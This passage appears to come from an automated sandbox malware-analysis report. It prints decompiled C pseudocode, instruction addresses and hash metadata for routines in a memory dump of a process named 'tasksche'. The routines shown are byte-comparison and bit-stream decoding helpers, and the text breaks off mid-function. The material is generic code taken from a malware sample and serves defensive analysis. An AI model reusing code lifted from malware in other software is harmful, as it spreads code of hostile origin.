								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x0041b4ad
0x0041b4ad
0x0041b4b3
0x0041b532
0x0041b534
0x0041b536
0x00000000
0x00000000
0x0041b53c
0x0041b542
0x0041b5c1
0x0041b5c3
0x0041b5c5
0x00000000
0x00000000
0x0041b5cb
0x0041b5d1
0x0041b650
0x0041b652
0x0041b654
0x00000000
0x00000000
0x0041b65a
0x0041b660
0x0041b6df
0x0041b6e1
0x0041b6e3
0x00000000
0x00000000
0x0041b6e9
0x0041b6ef
0x0041b76e
0x0041b770
0x0041b772
0x00000000
0x00000000
0x0041b77e
0x0041b7fe
0x0041b800
0x0041b802
0x00000000
0x00000000
0x0041b808
0x0041b80e
0x0041b88d
0x0041b88f
0x0041b891
0x00000000
0x00000000
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041b817
0x0041b819
0x0041b830
0x0041b838
0x0041b83a
0x0041b851
0x0041b859
0x0041b85b
0x0041b872
0x0041b87a
0x0041b87c
0x0041b889
0x0041b889
0x00000000
0x0041b87c
0x0041b868
0x0041b86c
0x00000000
0x00000000
0x00000000
0x0041b86c
0x0041b847
0x0041b84b
0x00000000
0x00000000
0x00000000
0x0041b84b
0x0041b826
0x0041b82a
0x00000000
0x00000000
0x00000000
0x0041b82a
0x0041b788
0x0041b78a
0x0041b7a1
0x0041b7a9
0x0041b7ab
0x0041b7c2
0x0041b7ca
0x0041b7cc
0x0041b7e3
0x0041b7eb
0x0041b7ed
0x0041b7fa
0x0041b7fa
0x00000000
0x0041b7ed
0x0041b7d9
0x0041b7dd
0x00000000
0x00000000
0x00000000
0x0041b7dd
0x0041b7b8
0x0041b7bc
0x00000000
0x00000000
0x00000000
0x0041b7bc
0x0041b797
0x0041b79b
0x00000000
0x00000000
0x00000000
0x0041b79b
0x0041b6f8
0x0041b6fa
0x0041b711
0x0041b719
0x0041b71b
0x0041b732
0x0041b73a
0x0041b73c
0x0041b753
0x0041b75b
0x0041b75d
0x0041b76a
0x0041b76a
0x00000000
0x0041b75d
0x0041b749
0x0041b74d
0x00000000
0x00000000
0x00000000
0x0041b74d
0x0041b728
0x0041b72c
0x00000000
0x00000000
0x00000000
0x0041b72c
0x0041b707
0x0041b70b
0x00000000
0x00000000
0x00000000
0x0041b70b
0x0041b669
0x0041b66b
0x0041b682
0x0041b68a
0x0041b68c
0x0041b6a3
0x0041b6ab
0x0041b6ad
0x0041b6c4
0x0041b6cc
0x0041b6ce
0x0041b6db
0x0041b6db
0x00000000
0x0041b6ce
0x0041b6ba
0x0041b6be
0x00000000
0x00000000
0x00000000
0x0041b6be
0x0041b699
0x0041b69d
0x00000000
0x00000000
0x00000000
0x0041b69d
0x0041b678
0x0041b67c
0x00000000
0x00000000
0x00000000
0x0041b67c
0x0041b5da
0x0041b5dc
0x0041b5f3
0x0041b5fb
0x0041b5fd
0x0041b614
0x0041b61c
0x0041b61e
0x0041b635
0x0041b63d
0x0041b63f
0x0041b64c
0x0041b64c
0x00000000
0x0041b63f
0x0041b62b
0x0041b62f
0x00000000
0x00000000
0x00000000
0x0041b62f
0x0041b60a
0x0041b60e
0x00000000
0x00000000
0x00000000
0x0041b60e
0x0041b5e9
0x0041b5ed
0x00000000
0x00000000
0x00000000
0x0041b5ed
0x0041b54b
0x0041b54d
0x0041b564
0x0041b56c
0x0041b56e
0x0041b585
0x0041b58d
0x0041b58f
0x0041b5a6
0x0041b5ae
0x0041b5b0
0x0041b5bd
0x0041b5bd
0x00000000
0x0041b5b0
0x0041b59c
0x0041b5a0
0x00000000
0x00000000
0x00000000
0x0041b5a0
0x0041b57b
0x0041b57f
0x00000000
0x00000000
0x00000000
0x0041b57f
0x0041b55a
0x0041b55e
0x00000000
0x00000000
0x00000000
0x0041b4b5
0x0041b4b5
0x0041b4b8
0x0041b4bc
0x0041b4be
0x0041b4d5
0x0041b4d5
0x0041b4d9
0x0041b4dd
0x0041b4df
0x0041b4f6
0x0041b4f6
0x0041b4fa
0x0041b4fe
0x0041b500
0x0041b517
0x0041b517
0x0041b51b
0x0041b51f
0x0041b521
0x0041b527
0x0041b52a
0x0041b52e
0x0041b52e
0x00000000
0x0041b521
0x0041b506
0x0041b509
0x0041b50d
0x0041b511
0x00000000
0x00000000
0x00000000
0x0041b511
0x0041b4e5
0x0041b4e8
0x0041b4ec
0x0041b4f0
0x00000000
0x00000000
0x00000000
0x0041b4f0
0x0041b4c4
0x0041b4c7
0x0041b4cb
0x0041b4cf
0x00000000
0x00000000
0x00000000
0x0041b4cf
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 29e0c2194e43b481a6c61040bafb45c2199937250b84d4f9493dc4b244529513
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 24C16E73C0E9B30A8736812D81685ABEE62AFD175031FC3A2DCE42F389D36B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0D9 Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B0D9(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x0041b0d9
0x0041b0d9
0x0041b0df
0x0041b152
0x0041b154
0x0041b156
0x00000000
0x00000000
0x0041b15c
0x0041b162
0x0041b1e1
0x0041b1e3
0x0041b1e5
0x00000000
0x00000000
0x0041b1eb
0x0041b1f1
0x0041b270
0x0041b272
0x0041b274
0x00000000
0x00000000
0x0041b27a
0x0041b280
0x0041b2ff
0x0041b301
0x0041b303
0x00000000
0x00000000
0x0041b30f
0x0041b38f
0x0041b391
0x0041b393
0x00000000
0x00000000
0x0041b399
0x0041b39f
0x0041b41e
0x0041b420
0x0041b422
0x00000000
0x00000000
0x0041b428
0x0041b42e
0x0041b49f
0x0041b4a1
0x0041b4a3
0x0041b4a5
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041b437
0x0041b439
0x0041b44a
0x0041b452
0x0041b454
0x0041b465
0x0041b46d
0x0041b46f
0x0041b484
0x0041b48c
0x0041b48e
0x0041b49b
0x0041b49b
0x00000000
0x0041b48e
0x0041b478
0x0041b47e
0x00000000
0x00000000
0x0041b480
0x0041b480
0x00000000
0x0041b480
0x0041b45d
0x0041b463
0x00000000
0x00000000
0x00000000
0x0041b463
0x0041b442
0x0041b448
0x00000000
0x00000000
0x00000000
0x0041b448
0x0041b3a8
0x0041b3aa
0x0041b3c1
0x0041b3c9
0x0041b3cb
0x0041b3e2
0x0041b3ea
0x0041b3ec
0x0041b403
0x0041b40b
0x0041b40d
0x0041b41a
0x0041b41a
0x00000000
0x0041b40d
0x0041b3f9
0x0041b3fd
0x00000000
0x00000000
0x00000000
0x0041b3fd
0x0041b3d8
0x0041b3dc
0x00000000
0x00000000
0x00000000
0x0041b3dc
0x0041b3b7
0x0041b3bb
0x00000000
0x00000000
0x00000000
0x0041b3bb
0x0041b319
0x0041b31b
0x0041b332
0x0041b33a
0x0041b33c
0x0041b353
0x0041b35b
0x0041b35d
0x0041b374
0x0041b37c
0x0041b37e
0x0041b38b
0x0041b38b
0x00000000
0x0041b37e
0x0041b36a
0x0041b36e
0x00000000
0x00000000
0x00000000
0x0041b36e
0x0041b349
0x0041b34d
0x00000000
0x00000000
0x00000000
0x0041b34d
0x0041b328
0x0041b32c
0x00000000
0x00000000
0x00000000
0x0041b32c
0x0041b289
0x0041b28b
0x0041b2a2
0x0041b2aa
0x0041b2ac
0x0041b2c3
0x0041b2cb
0x0041b2cd
0x0041b2e4
0x0041b2ec
0x0041b2ee
0x0041b2fb
0x0041b2fb
0x00000000
0x0041b2ee
0x0041b2da
0x0041b2de
0x00000000
0x00000000
0x00000000
0x0041b2de
0x0041b2b9
0x0041b2bd
0x00000000
0x00000000
0x00000000
0x0041b2bd
0x0041b298
0x0041b29c
0x00000000
0x00000000
0x00000000
0x0041b29c
0x0041b1fa
0x0041b1fc
0x0041b213
0x0041b21b
0x0041b21d
0x0041b234
0x0041b23c
0x0041b23e
0x0041b255
0x0041b25d
0x0041b25f
0x0041b26c
0x0041b26c
0x00000000
0x0041b25f
0x0041b24b
0x0041b24f
0x00000000
0x00000000
0x00000000
0x0041b24f
0x0041b22a
0x0041b22e
0x00000000
0x00000000
0x00000000
0x0041b22e
0x0041b209
0x0041b20d
0x00000000
0x00000000
0x00000000
0x0041b20d
0x0041b16b
0x0041b16d
0x0041b184
0x0041b18c
0x0041b18e
0x0041b1a5
0x0041b1ad
0x0041b1af
0x0041b1c6
0x0041b1ce
0x0041b1d0
0x0041b1dd
0x0041b1dd
0x00000000
0x0041b1d0
0x0041b1bc
0x0041b1c0
0x00000000
0x00000000
0x00000000
0x0041b1c0
0x0041b19b
0x0041b19f
0x00000000
0x00000000
0x00000000
0x0041b19f
0x0041b17a
0x0041b17e
0x00000000
0x00000000
0x00000000
0x0041b0e1
0x0041b0e1
0x0041b0e4
0x0041b0e8
0x0041b0ea
0x0041b0fd
0x0041b0fd
0x0041b101
0x0041b105
0x0041b107
0x0041b11a
0x0041b11a
0x0041b11e
0x0041b122
0x0041b124
0x0041b137
0x0041b137
0x0041b13b
0x0041b13f
0x0041b141
0x0041b147
0x0041b14a
0x0041b14e
0x0041b14e
0x00000000
0x0041b141
0x0041b12a
0x0041b12d
0x0041b131
0x0041b135
0x00000000
0x00000000
0x00000000
0x0041b135
0x0041b10d
0x0041b110
0x0041b114
0x0041b118
0x00000000
0x00000000
0x00000000
0x0041b118
0x0041b0f0
0x0041b0f3
0x0041b0f7
0x0041b0fb
0x00000000
0x00000000
0x00000000
0x0041b0fb
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 2db7ca3506525dcc090db9a2522c638e963424884ad3e69ae6d01f57f6380b46
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 7AC17173D0E9B3068735812E84686ABEE62AFD175031FC3E29CE42F389D32B5D9495D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041462B Relevance: .2, Instructions: 236
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0041462B(void* __ebx, intOrPtr __ecx, intOrPtr* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v28;
				char _v74;
				char _v90;
				char _v154;
				char _v460;
				signed int _t93;
				unsigned int _t94;
				signed int _t97;
				signed int _t98;
				unsigned int _t111;
				unsigned int _t116;
				unsigned int _t120;
				signed int _t122;
				void* _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				unsigned int _t152;
				void* _t154;
				intOrPtr* _t156;
				intOrPtr _t162;
				intOrPtr* _t166;
				void* _t167;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				unsigned int _t180;
				intOrPtr* _t182;
				intOrPtr _t183;
				intOrPtr* _t186;
				intOrPtr _t187;
				void* _t190;

				_t131 = __ebx;
				_v8 = __ecx;
				if( *((char*)(_a8 + 0x11)) != 0) {
					_t186 = _a4;
					__eflags =  *((char*)(_t186 + 8));
					if( *((char*)(_t186 + 8)) != 0) {
						L5:
						_t7 =  &_a8;
						 *_t7 = _a8 & 0x00000000;
						__eflags =  *_t7;
						_push(_t131);
						do {
							_t132 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t132 - 0xf;
							if(_t132 != 0xf) {
								 *(_t190 + _a8 - 0x18) = _t132;
								goto L15;
							}
							_t178 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t178;
							if(_t178 != 0) {
								_t180 = _t178 + 2;
								while(1) {
									__eflags = _t180;
									if(_t180 <= 0) {
										break;
									}
									_t180 = _t180 - 1;
									__eflags = _a8 - 0x14;
									if(_a8 >= 0x14) {
										break;
									}
									_t14 =  &_a8;
									 *_t14 = _a8 + 1;
									__eflags =  *_t14;
									 *(_t190 + _a8 - 0x18) = 0;
								}
								_a8 = _a8 - 1;
								goto L15;
							}
							 *(_t190 + _a8 - 0x18) = _t132;
							L15:
							_a8 = _a8 + 1;
							__eflags = _a8 - 0x14;
						} while (__eflags < 0);
						_t182 = _a12 + 0x3bb0;
						E0041284B(__eflags,  &_v28, _t182, 0x14);
						_t29 =  &_a8;
						 *_t29 = _a8 & 0x00000000;
						__eflags =  *_t29;
						do {
							__eflags =  *((char*)(_t186 + 8));
							if( *((char*)(_t186 + 8)) != 0) {
								L20:
								_t93 = E0040978C(_t186);
								_t133 =  *(_t182 + 0x84);
